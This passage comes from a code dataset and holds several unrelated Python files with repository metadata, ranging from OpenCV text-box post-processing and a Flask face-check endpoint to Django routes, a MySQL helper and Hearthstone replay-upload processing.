= getBoundingRect(contours)\r\n contours_up_left = findContours(up_left)\r\n bbox_up_left = getBoundingRect(contours_up_left)\r\n contours_up_right = findContours(up_right)\r\n bbox_up_right = getBoundingRect(contours_up_right)\r\n contours_down_left = findContours(down_left)\r\n bbox_down_left = getBoundingRect(contours_down_left)\r\n contours_down_right = findContours(down_right)\r\n bbox_down_right = getBoundingRect(contours_down_right)\r\n\r\n bbox_all = segmentConnectedText(bbox_all, bbox_up_left, bbox_up_right, bbox_down_left, bbox_down_right)\r\n\r\n # 检索模式为树形cv2.RETR_TREE，\r\n # 轮廓存储模式为简单模式cv2.CHAIN_APPROX_SIMPLE，如果设置为 cv2.CHAIN_APPROX_NONE，所有的边界点都会被存储。\r\n # img = cv2.drawContour(img, contours, -1, (0, 255, 0), 3) # 此时是将轮廓绘制到了原始图像上\r\n # 第三个参数是轮廓的索引（在绘制独立轮廓是很有用，当设置为 -1 时绘制所有轮廓）。接下来的参数是轮廓的颜色和厚度等\r\n\r\n # img = drawBoundingRect(img, contours, dsr_x, dsr_y, color_index=0)\r\n # img = drawBoundingRect(img, contours_up_left, dsr_x, dsr_y, color_index=1)\r\n # img = drawBoundingRect(img, contours_up_right, dsr_x, dsr_y, color_index=2)\r\n # img = drawBoundingRect(img, contours_down_left, dsr_x, dsr_y, color_index=3)\r\n # img = drawBoundingRect(img, contours_down_right, dsr_x, dsr_y, color_index=4)\r\n if filterBox:\r\n bbox_all = filterBBox(bbox_all)\r\n if drawBBox:\r\n img = drawBBoxes(img, bbox_all, dsr_x, dsr_y, color_index=0)\r\n return img\r\n else:\r\n for i in range(len(bbox_all)):\r\n bbox_all[i][0] *= dsr_x\r\n bbox_all[i][1] *= dsr_y\r\n bbox_all[i][2] *= dsr_x\r\n bbox_all[i][3] *= dsr_y\r\n return bbox_all\r\n\r\n # img2 = cv2.drawContours(img_color, contours, -1, (0, 255, 0), 1)\r\n # cv2.imshow('img', img) # 显示原始图像\r\n # cv2.waitKey() # 窗口等待按键，无此代码，窗口闪一下就消失\r\n\r\n # ret, binary = cv2.threshold(classes, 127, 255, cv2.THRESH_BINARY)\r\n # binary = classes.reshape((classes.shape[0], classes.shape[1], 1))\r\n\r\n # _, contours, hierarchy = cv2.findContours(binary, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\r\n # gray = classes.reshape((classes.shape[0], classes.shape[1], 1))\r\n # # gray = cv2.cvtColor(classes, cv2.COLOR_BGR2GRAY)\r\n # mser = cv2.MSER_create()\r\n # contours, regions = mser.detectRegions(gray)\r\n # hulls = [cv2.convexHull(p.reshape(-1, 1, 2)) for p in regions]\r\n # cv2.polylines(classes, hulls, 1, (0, 255, 0))\r\n # cv2.imshow('img', cls_image)\r\n\r\n # cv2.imshow('pic', classes)\r\n # cv2.waitKey(0)\r\n#\r\n#\r\n# def main():\r\n# classes = np.ones((ResizeH // 4, ResizeW // 4, 1))\r\n# for i in range(50, 80):\r\n# for j in range(60, 100):\r\n# classes[i, j, 0] = 0\r\n# for i in range(60, 90):\r\n# for j in range(65, 120):\r\n# classes[i, j, 0] = 0\r\n# processLocation(cls_image=classes)\r\n#\r\n#\r\n# if __name__ == '__main__':\r\n# ResizeH = 608\r\n# ResizeW = 800\r\n# main()\r\n", "repo_name": "michelleweii/Natural-scene-text-detection", "sub_path": "helper/post_processing.py", "file_name": "post_processing.py", "file_ext": "py", "file_size_in_byte": 14954, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "colorsys.hsv_to_rgb", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.boundingRect", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.boundingRect", "line_number": 48, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 52, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 57, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 57, "usage_type": "attribute"}, {"api_name": "help.NMS.IoM_suppression_fast", "line_number": 80, "usage_type": "call"}, {"api_name": "help.NMS", "line_number": 80, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 283, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 283, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 284, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 284, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 285, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 285, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 286, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 286, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 287, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 287, "usage_type": "attribute"}]} {"seq_id": "28358051747", "text": "import sys\nfrom tqdm import tqdm\nimport time\nimport wikipedia\n\ndef progress_bar(url, output_file):\n\t# Writing the urk to the argument file\n\twith open(output_file, 'a') as file:\n\t\tfile.write(url + \"\\n\")\n\n\tfor _ in tqdm( range(100), desc=\"Extracting Url...\"):\n\t\ttime.sleep(0.01)\n\ndef main():\n\n\tterm = sys.argv[1]\n\turl = wikipedia.page(term).url\n\n\toutput_file = sys.argv[2]\n\n\t# Dummy progress bar\n\tprogress_bar(url, output_file)\n\n\t# Brief Summary on the search term\n\twith open(term+\".txt\", 'a') as file:\n\t\tfile.write(wikipedia.summary(term) + \"\\n\")\t\n\nif __name__ == \"__main__\":\n\tmain()", "repo_name": "nit2rawidle/Wikisearch", "sub_path": "wiki.py", "file_name": "wiki.py", "file_ext": "py", "file_size_in_byte": 582, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tqdm.tqdm", "line_number": 11, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 16, "usage_type": "attribute"}, {"api_name": "wikipedia.page", "line_number": 17, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 19, "usage_type": "attribute"}, {"api_name": "wikipedia.summary", "line_number": 26, "usage_type": "call"}]} {"seq_id": "752981319", "text": "\"\"\"\n 📌 Вспоминаем задачу 3 из прошлого семинара. Мы сформировали\n текстовый файл с псевдо именами и произведением чисел.\n 📌 Напишите функцию, которая создаёт из созданного ранее\n файла новый с данными в формате JSON.\n 📌 Имена пишите с большой буквы.\n 📌 Каждую пару сохраняйте с новой строки.\n\"\"\"\n\n__all__ = ['txt_to_json']\n\nimport json\n\ndef txt_to_json(path_file_txt: str, path_file_json: str) -> None:\n file_dict = {}\n with open(path_file_txt, mode='r', encoding='utf-8') as file_txt:\n for line in file_txt:\n name, numb = line.split('|')\n file_dict[name.capitalize()] = float(numb)\n\n with open(path_file_json, mode='w',encoding='utf-8') as file_json:\n json.dump(file_dict, file_json, ensure_ascii=False, indent=2)\n\n\nif __name__ == '__main__':\n txt_to_json('task_1_file.txt', 'task_1_file.json') \n\n", "repo_name": "AnkaZatcepina/GB_Python_Homework", "sub_path": "course_02_python_intermediate/lesson_08_serialization/task_1_txt_to_json.py", "file_name": "task_1_txt_to_json.py", "file_ext": "py", "file_size_in_byte": 1104, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.dump", "line_number": 22, "usage_type": "call"}]} {"seq_id": "20817287724", "text": "from flask import Flask, request, jsonify\nfrom PIL import Image\nfrom traceback import format_exc\nfrom cv_utils import image_has_face\nfrom flask_cors import cross_origin\n\n\napp = Flask(__name__)\n\n@app.post(\"/verify-presence\")\n@cross_origin()\ndef verify_presence():\n try:\n file = request.files.get('photo')\n if not file:\n raise Exception(\"you must provide a photo!\")\n photo = Image.open(file.stream)\n return { 'valid': image_has_face(photo) }\n except:\n return jsonify({ 'error': format_exc() })\n", "repo_name": "wallrony/reconhecimento-facial-web", "sub_path": "server/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 544, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.request.files.get", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 14, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 17, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 17, "usage_type": "name"}, {"api_name": "cv_utils.image_has_face", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 20, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 20, "usage_type": "call"}, {"api_name": "flask_cors.cross_origin", "line_number": 11, "usage_type": "call"}]} {"seq_id": "12231929639", "text": "import json\n\n# Load the original JSON data from \"pos_0.png.json\"\nwith open('pos_0.png.json', 'r') as json_file:\n original_data = json.load(json_file)\n\n# Initialize dictionaries to store the formatted data\nannotation_objects = {}\nannotation_attributes = {}\n\n# Loop through objects in the original data\nfor obj in original_data['objects']:\n annotation_type = obj['classTitle'].lower()\n annotation_type = annotation_type.replace(\" \", \"_\")\n bbox = obj['points']['exterior']\n\n # Create a dictionary for annotation_objects\n annotation_objects[annotation_type] = {\n \"presence\": 1,\n \"bbox\": [bbox[0][0], bbox[0][1], bbox[1][0], bbox[1][1]]\n }\n\n # Create a dictionary for annotation_attributes\n annotation_attributes[annotation_type] = {}\n\n # Extract attributes from tags\n for tag in obj['tags']:\n attribute_name = tag['name']\n attribute_value = tag['value']\n\n if attribute_name == \"Difficulty Score\":\n attribute_value = int(attribute_value)\n\n annotation_attributes[annotation_type][attribute_name] = attribute_value\n\n# Add \"Occlusion\" attribute to \"license_plate\" if it's missing\nif \"license_plate\" in annotation_attributes and \"Occlusion\" not in annotation_attributes[\"license_plate\"]:\n annotation_attributes[\"license_plate\"][\"Occlusion\"] = 0\n\n\n\n# Create the final formatted data\nformatted_data = [{\n \"dataset_name\": \"pos_0.png.json\",\n \"image_link\": \"\",\n \"annotation_type\": \"image\",\n \"annotation_objects\": annotation_objects,\n \"annotation_attributes\": annotation_attributes\n}]\n\n# Save the formatted data to \"formatted_pos_0.png.json\"\nwith open('new_formatted_pos_0.png.json', 'w') as formatted_file:\n json.dump(formatted_data, formatted_file, indent=4)\n\nprint(\"Conversion completed. Formatted data saved to formatted_pos_0.png.json.\")\n", "repo_name": "Rifat429/assesment_quantigo.ai", "sub_path": "formatter_script.py", "file_name": "formatter_script.py", "file_ext": "py", "file_size_in_byte": 1835, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.load", "line_number": 5, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 53, "usage_type": "call"}]} {"seq_id": "1664662578", "text": "from django.conf.urls import url\nfrom first_app import views\n\n#for template tagging\napp_name = 'first_app'\n\nurlpatterns = [\n url('^datab/$', views.dbdb, name = 'dbdb'),\n url(r'^formpage/$', views.form_view, name = 'formm'),\n url(r'^relative/$', views.relative, name = 'relative'),\n url(r'^register/$', views.register, name = 'register'),\n url(r'^login/$', views.user_login, name = 'loginn' ),\n url(r'^cbview/$', views.CBView.as_view(), name = 'CBview'),\n url(r'^tempcbv/$', views.TemplateView.as_view(template_name = 'first_app/cbv.html'), name = 'tempcbv'),\n]", "repo_name": "cHILlPill420/startingDjango", "sub_path": "first_app/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 581, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "first_app.views.dbdb", "line_number": 8, "usage_type": "attribute"}, {"api_name": "first_app.views", "line_number": 8, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "first_app.views.form_view", "line_number": 9, "usage_type": "attribute"}, {"api_name": "first_app.views", "line_number": 9, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "first_app.views.relative", "line_number": 10, "usage_type": "attribute"}, {"api_name": "first_app.views", "line_number": 10, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "first_app.views.register", "line_number": 11, "usage_type": "attribute"}, {"api_name": "first_app.views", "line_number": 11, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "first_app.views.user_login", "line_number": 12, "usage_type": "attribute"}, {"api_name": "first_app.views", "line_number": 12, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "first_app.views.CBView.as_view", "line_number": 13, "usage_type": "call"}, {"api_name": "first_app.views.CBView", "line_number": 13, "usage_type": "attribute"}, {"api_name": "first_app.views", "line_number": 13, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "first_app.views.TemplateView.as_view", "line_number": 14, "usage_type": "call"}, {"api_name": "first_app.views.TemplateView", "line_number": 14, "usage_type": "attribute"}, {"api_name": "first_app.views", "line_number": 14, "usage_type": "name"}]} {"seq_id": "25572371316", "text": "#db 처리 ,연결 , 해제 , 검색어 가져오기 , 데이터 삽 입\nimport pymysql as my\n\nclass DBHelper:\n '''\n 멤버변수 : 커넥션\n '''\n conn = None\n\n '''\n 생성자\n '''\n def __init__(self):\n self.db_init()\n '''\n 멤버함수\n '''\n def db_init(self):\n self.conn = my.connect(\n host='localhost',\n user='root',\n password='1234',\n db='fortest',\n charset='utf8',\n cursorclass=my.cursors.DictCursor)\n \n def db_free(self):\n if self.conn:\n self.conn.close()\n\n def db_selectKeyword(self):\n\n rows = None \n with self.conn.cursor() as cursor:\n # Read a single record\n sql = \"SELECT\t*\tFROM\ttbl_keyword\"\n cursor.execute(sql)\n rows = cursor.fetchall()\n print(rows) \n \n return rows\n\n def db_insertCrawlingData(self, title, price, area, contents, keyword):\n with self.conn.cursor() as cursor:\n sql = '''\n insert into `tbl_crawlingdata`\n (title, price, area, contents, keyword)\n values( %s,%s,%s,%s,%s )\n '''\n cursor.execute(sql, (title, price, area, contents, keyword))\n self.conn.commit()\n\n\n#단독으로 수행시에만 작동함 > 테스트 코드 삽입하여 사용\nif __name__ =='__main__':\n db = DBHelper()\n print(db.db_selectKeyword())\n print(db.db_insertCrawlingData('1','2','3','4','5' ) )\n\n db.db_free()\n", "repo_name": "anytime0222/py", "sub_path": "DBManager.py", "file_name": "DBManager.py", "file_ext": "py", "file_size_in_byte": 1618, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pymysql.connect", "line_number": 19, "usage_type": "call"}, {"api_name": "pymysql.cursors", "line_number": 25, "usage_type": "attribute"}]} {"seq_id": "10602139160", "text": "import json\nfrom hashlib import sha1\nfrom io import StringIO\nfrom dateutil.parser import parse as dateutil_parse\nfrom django.conf import settings\nfrom django.core.exceptions import ValidationError\nfrom django.core.files.base import ContentFile\nfrom django.core.files.storage import default_storage\nfrom django.db.utils import IntegrityError\nfrom django.utils import timezone\nfrom django_hearthstone.cards.models import Card\nfrom hearthstone.enums import BnetRegion, CardType, GameTag\nfrom hslog import __version__ as hslog_version, LogParser\nfrom hslog.exceptions import MissingPlayerData, ParsingError\nfrom hslog.export import EntityTreeExporter, FriendlyPlayerExporter\nfrom hsreplay import __version__ as hsreplay_version\nfrom hsreplay.document import HSReplayDocument\nfrom hearthsim_identity.accounts.models import BlizzardAccount\nfrom hsredshift.etl.exporters import (\n\tCorruptReplayDataError, CorruptReplayPacketError, RedshiftPublishingExporter\n)\nfrom hsredshift.etl.firehose import flush_exporter_to_firehose\nfrom hsreplaynet.decks.models import Deck\nfrom hsreplaynet.uploads.models import UploadEventStatus\nfrom hsreplaynet.utils import guess_ladder_season, log\nfrom hsreplaynet.utils.influx import influx_metric, influx_timer\nfrom hsreplaynet.utils.instrumentation import error_handler\nfrom .models import (\n\t_generate_upload_path, GameReplay, GlobalGame, GlobalGamePlayer, ReplayAlias\n)\n\n\nclass ProcessingError(Exception):\n\tpass\n\n\nclass GameTooShort(ProcessingError):\n\tpass\n\n\nclass UnsupportedReplay(ProcessingError):\n\tpass\n\n\nclass ReplayAlreadyExists(ProcessingError):\n\tdef __init__(self, msg, game=None):\n\t\tself.game = game\n\n\ndef eligible_for_unification(meta):\n\treturn all([meta.get(\"game_handle\"), meta.get(\"server_ip\")])\n\n\ndef get_replay_url(shortid):\n\t# Not using get_absolute_url() to avoid tying into Django\n\t# (not necessarily avail on lambda)\n\treturn \"https://hsreplay.net/replay/%s\" % (shortid)\n\n\ndef get_valid_match_start(match_start, upload_date):\n\t\"\"\"\n\tReturns a valid match_start value given the match_start and upload_date.\n\tIf the upload_date is greater than the match_start, return the match_start.\n\tIf it's greater than the match_start, return the upload_date, modified to\n\tuse the match_start's timezone.\n\t\"\"\"\n\tif upload_date > match_start:\n\t\treturn match_start\n\n\tlog.info(\"match_start=%r>upload_date=%r - rejecting match_start\", match_start, upload_date)\n\treturn upload_date.astimezone(match_start.tzinfo)\n\n\ndef create_hsreplay_document(parser, entity_tree, meta, global_game):\n\thsreplay_doc = HSReplayDocument.from_parser(parser, build=meta[\"build\"])\n\tgame_xml = hsreplay_doc.games[0]\n\tgame_xml.game_type = global_game.game_type\n\tgame_xml.id = global_game.game_handle\n\tif meta[\"reconnecting\"]:\n\t\tgame_xml.reconnecting = True\n\n\tfor player in entity_tree.players:\n\t\tplayer_meta = meta.get(\"player%i\" % (player.player_id), {})\n\t\tplayer_xml = game_xml.players[player.player_id - 1]\n\t\tplayer_xml.rank = player_meta.get(\"rank\")\n\t\tplayer_xml.legendRank = player_meta.get(\"legend_rank\")\n\t\tplayer_xml.cardback = player_meta.get(\"cardback\")\n\t\tplayer_xml.deck = player_meta.get(\"deck\")\n\n\treturn hsreplay_doc\n\n\ndef save_hsreplay_document(hsreplay_doc, shortid, existing_replay):\n\turl = get_replay_url(shortid)\n\n\txml_str = hsreplay_doc.to_xml()\n\t# Add the replay's full URL as a comment\n\txml_str += \"\\n<!-- %s -->\\n\" % (url)\n\n\treturn ContentFile(xml_str)\n\n\ndef generate_globalgame_digest(meta, lo1, lo2):\n\tgame_handle = meta[\"game_handle\"]\n\tserver_address = meta[\"server_ip\"]\n\tvalues = (game_handle, server_address, lo1, lo2)\n\tret = \"-\".join(str(k) for k in values)\n\treturn sha1(ret.encode(\"utf-8\")).hexdigest()\n\n\ndef find_or_create_global_game(entity_tree, meta):\n\tladder_season = meta.get(\"ladder_season\")\n\tif not ladder_season:\n\t\tladder_season = guess_ladder_season(meta[\"end_time\"])\n\n\tdefaults = {\n\t\t\"game_handle\": meta.get(\"game_handle\"),\n\t\t\"server_address\": meta.get(\"server_ip\"),\n\t\t\"server_port\": meta.get(\"server_port\"),\n\t\t\"server_version\": meta.get(\"server_version\"),\n\t\t\"game_type\": meta.get(\"game_type\", 0),\n\t\t\"format\": meta.get(\"format\", 0),\n\t\t\"build\": meta[\"build\"],\n\t\t\"match_start\": meta[\"start_time\"],\n\t\t\"match_end\": meta[\"end_time\"],\n\t\t\"brawl_season\": meta.get(\"brawl_season\", 0),\n\t\t\"ladder_season\": ladder_season,\n\t\t\"scenario_id\": meta.get(\"scenario_id\"),\n\t\t\"num_entities\": len(entity_tree.entities),\n\t\t\"num_turns\": entity_tree.tags.get(GameTag.TURN),\n\t\t\"tainted_decks\": False,\n\t}\n\n\tif eligible_for_unification(meta):\n\t\t# If the globalgame is eligible for unification, generate a digest\n\t\t# and get_or_create the object\n\t\tplayers = entity_tree.players\n\t\tlo1, lo2 = players[0].account_lo, players[1].account_lo\n\t\tdigest = generate_globalgame_digest(meta, lo1, lo2)\n\t\tlog.debug(\"GlobalGame digest is %r\" % (digest))\n\t\tglobal_game, created = GlobalGame.objects.get_or_create(digest=digest, defaults=defaults)\n\telse:\n\t\tglobal_game = GlobalGame.objects.create(digest=None, **defaults)\n\t\tcreated = True\n\n\tlog.debug(\"Prepared GlobalGame(id=%r), created=%r\", global_game.id, created)\n\treturn global_game, created\n\n\ndef get_opponent_revealed_deck(entity_tree, friendly_player_id, game_type):\n\tfor player in entity_tree.players:\n\t\tif player.player_id != friendly_player_id:\n\t\t\tdecklist = [c.card_id for c in player.initial_deck if c.card_id]\n\n\t\t\tdeck, created = Deck.objects.get_or_create_from_id_list(\n\t\t\t\tdecklist,\n\t\t\t\thero_id=player._hero.card_id,\n\t\t\t\tgame_type=game_type,\n\t\t\t\tclassify_into_archetype=True\n\t\t\t)\n\t\t\tlog.debug(\"Opponent revealed deck %i (created=%r)\", deck.id, created)\n\t\t\treturn deck\n\n\ndef find_or_create_replay(parser, entity_tree, meta, upload_event, global_game, players):\n\tclient_handle = meta.get(\"client_handle\") or None\n\texisting_replay = upload_event.game\n\tshortid = existing_replay.shortid if existing_replay else upload_event.shortid\n\treplay_xml_path = _generate_upload_path(global_game.match_start, shortid)\n\tlog.debug(\"Will save replay %r to %r\", shortid, replay_xml_path)\n\n\t# The user that owns the replay\n\tuser = upload_event.token.user if upload_event.token else None\n\tfriendly_player = players[meta[\"friendly_player\"]]\n\topponent_revealed_deck = get_opponent_revealed_deck(\n\t\tentity_tree,\n\t\tfriendly_player.player_id,\n\t\tglobal_game.game_type\n\t)\n\thsreplay_doc = create_hsreplay_document(parser, entity_tree, meta, global_game)\n\n\tcommon = {\n\t\t\"global_game\": global_game,\n\t\t\"client_handle\": client_handle,\n\t\t\"spectator_mode\": meta.get(\"spectator_mode\", False),\n\t\t\"reconnecting\": meta[\"reconnecting\"],\n\t\t\"friendly_player_id\": friendly_player.player_id,\n\t}\n\tdefaults = {\n\t\t\"shortid\": shortid,\n\t\t\"aurora_password\": meta.get(\"aurora_password\", \"\"),\n\t\t\"spectator_password\": meta.get(\"spectator_password\", \"\"),\n\t\t\"resumable\": meta.get(\"resumable\"),\n\t\t\"build\": meta[\"build\"],\n\t\t\"upload_token\": upload_event.token,\n\t\t\"won\": friendly_player.won,\n\t\t\"replay_xml\": replay_xml_path,\n\t\t\"hsreplay_version\": hsreplay_version,\n\t\t\"hslog_version\": hslog_version,\n\t\t\"upload_ip\": upload_event.upload_ip,\n\t\t\"user_agent\": upload_event.user_agent,\n\t\t\"opponent_revealed_deck\": opponent_revealed_deck,\n\t}\n\n\t# Create and save hsreplay.xml file\n\t# Noop in the database, as it should already be set before the initial save()\n\txml_file = save_hsreplay_document(hsreplay_doc, shortid, existing_replay)\n\tinflux_metric(\"replay_xml_num_bytes\", {\"size\": xml_file.size})\n\n\tif existing_replay:\n\t\tlog.debug(\"Found existing replay %r\", existing_replay.shortid)\n\t\t# Clean up existing replay file\n\t\tfilename = existing_replay.replay_xml.name\n\t\tif filename and filename != replay_xml_path and default_storage.exists(filename):\n\t\t\t# ... but only if it's not the same path as the new one (it'll get overwridden)\n\t\t\tlog.debug(\"Deleting %r\", filename)\n\t\t\tdefault_storage.delete(filename)\n\n\t\t# Now update all the fields\n\t\tdefaults.update(common)\n\t\tfor k, v in defaults.items():\n\t\t\tsetattr(existing_replay, k, v)\n\n\t\t# Save the replay file\n\t\texisting_replay.replay_xml.save(\"hsreplay.xml\", xml_file, save=False)\n\n\t\t# Finally, save to the db and exit early with created=False\n\t\texisting_replay.save()\n\t\treturn existing_replay, False\n\n\t# No existing replay, so we assign a default user/visibility to the replay\n\t# (eg. we never update those fields on existing replays)\n\t# We also prepare a webhook for triggering, if there's one.\n\tif user:\n\t\tdefaults[\"user\"] = user\n\t\tdefaults[\"visibility\"] = user.default_replay_visibility\n\n\tif client_handle:\n\t\t# Get or create a replay object based on our defaults\n\t\treplay, created = GameReplay.objects.get_or_create(defaults=defaults, **common)\n\t\tlog.debug(\"Replay %r has created=%r, client_handle=%r\", replay.id, created, client_handle)\n\telse:\n\t\t# The client_handle is the minimum we require to update an existing replay.\n\t\t# If we don't have it, we won't try deduplication, we instead get_or_create by shortid.\n\t\tdefaults.update(common)\n\t\treplay, created = GameReplay.objects.get_or_create(defaults=defaults, shortid=shortid)\n\t\tlog.debug(\"Replay %r has created=%r (no client_handle)\", replay.id, created)\n\n\tif not created:\n\t\t# This can only happen if there is an inconsistency between UploadEvent.game\n\t\t# and the processing run.\n\t\t# For example, the processing crashed before UploadEvent.save(), or there are\n\t\t# multiple processing calls before UploadEvent.game is saved.\n\t\tmsg = \"Replay %r already exists. Try reprocessing (again).\" % (shortid)\n\t\traise ReplayAlreadyExists(msg, replay)\n\n\t# Save the replay file\n\treplay.replay_xml.save(\"hsreplay.xml\", xml_file, save=False)\n\n\tif replay.shortid != upload_event.shortid:\n\t\t# We must ensure an alias for this upload_event.shortid is recorded\n\t\t# We use get or create in case this is not the first time processing this replay\n\t\tReplayAlias.objects.get_or_create(replay=replay, shortid=upload_event.shortid)\n\n\tif user:\n\t\t# Re-query the replay object for the webhook trigger\n\t\tuser.trigger_webhooks(GameReplay.objects.get(id=replay.id))\n\n\treturn replay, created\n\n\ndef handle_upload_event_exception(e, upload_event):\n\t\"\"\"\n\tReturns a (status, reraise) tuple.\n\tThe status will be set on the UploadEvent.\n\tIf reraise is True, the exception will bubble up.\n\t\"\"\"\n\tif isinstance(e, ParsingError):\n\t\treturn UploadEventStatus.PARSING_ERROR, False\n\telif isinstance(e, (GameTooShort, EntityTreeExporter.EntityNotFound)):\n\t\treturn UploadEventStatus.UNSUPPORTED, False\n\telif isinstance(e, UnsupportedReplay):\n\t\treturn UploadEventStatus.UNSUPPORTED, True\n\telif isinstance(e, ValidationError):\n\t\treturn UploadEventStatus.VALIDATION_ERROR, False\n\telif isinstance(e, ReplayAlreadyExists):\n\t\tupload_event.game = e.game\n\t\treturn UploadEventStatus.SERVER_ERROR, False\n\telse:\n\t\treturn UploadEventStatus.SERVER_ERROR, True\n\n\ndef process_upload_event(upload_event):\n\t\"\"\"\n\tWrapper around do_process_upload_event() to set the event's\n\tstatus and error/traceback as needed.\n\t\"\"\"\n\tupload_event.error = \"\"\n\tupload_event.traceback = \"\"\n\tif upload_event.status != UploadEventStatus.PROCESSING:\n\t\tupload_event.status = UploadEventStatus.PROCESSING\n\t\tupload_event.save()\n\n\ttry:\n\t\treplay, do_flush_exporter = do_process_upload_event(upload_event)\n\texcept Exception as e:\n\t\tfrom traceback import format_exc\n\t\tupload_event.error = str(e)\n\t\tupload_event.traceback = format_exc()\n\t\tupload_event.status, reraise = handle_upload_event_exception(e, upload_event)\n\t\tmetric_fields = {\"count\": 1}\n\t\tif upload_event.game:\n\t\t\tmetric_fields[\"shortid\"] = str(upload_event.game.shortid)\n\t\tinflux_metric(\n\t\t\t\"upload_event_exception\",\n\t\t\tmetric_fields,\n\t\t\terror=upload_event.status.name.lower()\n\t\t)\n\t\tupload_event.save()\n\t\tif reraise:\n\t\t\traise\n\t\telse:\n\t\t\treturn\n\telse:\n\t\tupload_event.game = replay\n\t\tupload_event.status = UploadEventStatus.SUCCESS\n\t\tupload_event.save()\n\n\ttry:\n\t\twith influx_timer(\"redshift_exporter_flush_duration\"):\n\t\t\tdo_flush_exporter()\n\texcept Exception as e:\n\t\t# Don't fail on this\n\t\terror_handler(e)\n\t\tinflux_metric(\n\t\t\t\"flush_redshift_exporter_error\",\n\t\t\t{\n\t\t\t\t\"count\": 1,\n\t\t\t\t\"error\": str(e)\n\t\t\t}\n\t\t)\n\n\treturn replay\n\n\ndef parse_upload_event(upload_event, meta):\n\torig_match_start = dateutil_parse(meta[\"match_start\"])\n\tmatch_start = get_valid_match_start(orig_match_start, upload_event.created)\n\tif match_start != orig_match_start:\n\t\tupload_event.tainted = True\n\t\tupload_event.save()\n\n\tlog_bytes = upload_event.log_bytes()\n\tif not log_bytes:\n\t\traise ValidationError(\"The uploaded log file is empty.\")\n\tinflux_metric(\"raw_power_log_upload_num_bytes\", {\"size\": len(log_bytes)})\n\tpowerlog = StringIO(log_bytes.decode(\"utf-8\"))\n\tupload_event.file.close()\n\n\tparser = LogParser()\n\tparser._game_state_processor = \"GameState\"\n\tparser._current_date = match_start\n\tparser.read(powerlog)\n\n\treturn parser\n\n\ndef fetch_active_stream_prefix():\n\tfrom hsreplaynet.uploads.models import RedshiftStagingTrack\n\tprefix = RedshiftStagingTrack.objects.get_active_track_prefix()\n\treturn prefix\n\n\ndef validate_parser(parser, meta):\n\t# Validate upload\n\tif len(parser.games) != 1:\n\t\traise ValidationError(\"Expected exactly 1 game, got %i\" % (len(parser.games)))\n\tpacket_tree = parser.games[0]\n\twith influx_timer(\"replay_exporter_duration\"):\n\t\ttry:\n\t\t\texporter = RedshiftPublishingExporter(\n\t\t\t\tpacket_tree,\n\t\t\t\tstream_prefix=fetch_active_stream_prefix()\n\t\t\t).export()\n\t\texcept CorruptReplayPacketError as e:\n\t\t\tinflux_metric(\n\t\t\t\t\"redshift_exporter_corrupt_data_error\", {\n\t\t\t\t\t\"count\": 1,\n\t\t\t\t\t\"id\": e.id,\n\t\t\t\t},\n\t\t\t\tcorrupt_packet=True,\n\t\t\t\tpacket_class=str(e.packet_class)\n\t\t\t)\n\t\t\traise ValidationError(str(e))\n\t\texcept (CorruptReplayDataError, MissingPlayerData) as e:\n\t\t\tinflux_metric(\n\t\t\t\t\"redshift_exporter_corrupt_data_error\", {\n\t\t\t\t\t\"count\": 1,\n\t\t\t\t\t\"exception\": 